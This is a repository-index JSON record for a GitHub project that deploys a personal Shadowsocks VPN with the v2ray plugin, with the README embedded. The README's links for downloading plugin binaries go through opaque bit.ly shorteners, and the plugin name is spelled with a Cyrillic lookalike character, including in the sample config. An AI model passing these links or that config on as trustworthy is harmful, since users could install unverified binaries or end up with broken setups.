{"id":27816947,"url":"https://github.com/aditya-shri/vpn","last_synced_at":"2025-05-14T11:13:34.947Z","repository":{"id":39602110,"uuid":"322676219","full_name":"aditya-shri/VPN","owner":"aditya-shri","description":"Personal VPN using Shadowsocks and v2ray","archived":false,"fork":false,"pushed_at":"2025-04-28T12:19:49.000Z","size":26312,"stargazers_count":1042,"open_issues_count":2,"forks_count":1264,"subscribers_count":23,"default_branch":"main","last_synced_at":"2025-05-01T14:47:05.092Z","etag":null,"topics":["free","free-vpn","shadowsocks","v2ray","vpn","vpn-server"],"latest_commit_sha":null,"homepage":"","language":"Shell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/aditya-shri.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2020-12-18T18:36:13.000Z","updated_at":"2025-04-30T16:15:56.000Z","dependencies_parsed_at":"2025-05-01T14:37:13.792Z","dependency_job_id":null,"html_url":"https://github.com/aditya-shri/VPN","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aditya-shri%2FVPN","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aditya-shri%2FVPN/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aditya-shri%2FVPN/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/aditya-shri%2FVPN/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/aditya-shri","download_url":"https://codeload.github.com/aditya-shri/VPN/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254129530,"owners_count":22019629,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["free","free-vpn","shadowsocks","v2ray","vpn","vpn-server"],"created_at":"2025-05-01T14:25:56.717Z","updated_at":"2025-05-14T11:13:34.915Z","avatar_url":"https://github.com/aditya-shri.png","language":"Shell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Personal VPN\n### Based on Shadowsocks with V2-Raу-plugin\n\nClick the button below to deploy, and remember to Star if it works:\n\n[![Heroku](https://www.herokucdn.com/deploy/button.png)](https://heroku.com/deploy)\n\n[![Railway](https://railway.app/button.svg)](https://railway.app/new/template/zN4vrb)\n\n---\n\n## 0. Attention\n\n- Deployment can be done on any server with the help of DockerFile. \n- Heroku Deployment requires registration of a heroku account, a email is required when registering a heroku account (otherwise the verification code cannot be brushed out). \n- If app gets ban on Heroku, try forking and then deploying OR deploy using Heroku-CLI. When deploying using Heroku-cli, remember to set stack to container.\n\nThe environment variables required are:\n```txt\nDomain   : The domain of your server without the schema(https, http etc). Ex: test.com, not https://test.com\nPassword : Password you want to set for the Shadowsocks VPN service\nPORT\t : Server port, if not already defined by server provider(like Heroku,Railway provides)\n```\n\n## 1. Verification\n\nAfter the server is deployed, open app to display the webpage normally. After the address is filled with the path (for example: \u003chttps://{Domain}/static\u003e), the 404 page is displayed, which means the deployment is successful.\n\n## 2. Client Configuration\n\n### QR code address: \n``` \nhttps://{Domain}/qr \n```\n\n(Change {Domain} to your own app server url.)\n\nUse the client (Shadowsocks recommended) to scan the QR code.\n\n**or**\n\n### Use 'ss' address: \n```\nhttps://{Domain}/ss\n```\n(Change {Domain} to your own app server url.)\n\nCopy the details after opening and import it to the client.\n\n**or**\n\n### Manual configuration (Config file):\n\n```json\n{\n\t\"server\" : \"{Domain}\",\n\t\"server_port\" : 443,\n\t\"local_port\" : 1080,\n\t\"password\":\"{password}\",\n\t\"timeout\":300,\n\t\"method\":\"chacha20-ietf-poly1305\",\n\t\"mode\": \"tcp_only\",\n\t\"fast_open\":false,\n\t\"reuse_port\":true,\n\t\"no_delay\":true,\n\t\"plugin\": \"v2raу-plugin\",\n\t\"plugin_opts\":\"path=/v2;host={Domain};tls\",\n\t\"remarks\" : \"Private VPN\"\n}\n```\nChange {Domain} with your server url and {password} with your password.\n\n## 3. Clients\n\n### Android \n\n[shadowsocks](https://play.google.com/store/apps/details?id=com.github.shadowsocks\u0026hl=en_IN\u0026gl=US)\n\n[v2-raу-plugin](http://bit.ly/3g5QjkP)\n\n### Windows\n\n[ShadowSocks-Windows](https://github.com/shadowsocks/shadowsocks-windows/releases/download/4.4.1.0/Shadowsocks-4.4.1.0.zip)\n\n[V2-Raу Plugin](http://bit.ly/3Ew0pER)\n\nExtract and keep v2-raу plugin in the same folder as shadowsocks.\n\n### Linux\n\n[shadowsocks-libev](https://github.com/shadowsocks/shadowsocks-libev)\n\n[V2-Raу Plugin](http://bit.ly/3Ah7O8B)\n\nInstall the shadowsocks library, download and move the v2-raу plugin in '/usr/bin' and use the following command to connect to VPN:\n```\nss-local -c \"config file location on your system\"\n```\nThen use any proxy script to route your system's requests through your VPN.\nEx:\n- [Proxy SwitchyOmega](https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif?hl=en) : This extension can be used in chrome\n- Polipo : Routes all of the network through your proxy\n\n### Reference Guide for client setup\n[Guide](./GUIDE.md)\n\n# Reference\n\n[ShadowSocks-libev](https://hub.docker.com/r/shadowsocks/shadowsocks-libev)\n\n[V2-Ray Plugin](http://bit.ly/3tyt2uJ)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faditya-shri%2Fvpn","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faditya-shri%2Fvpn","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faditya-shri%2Fvpn/lists"}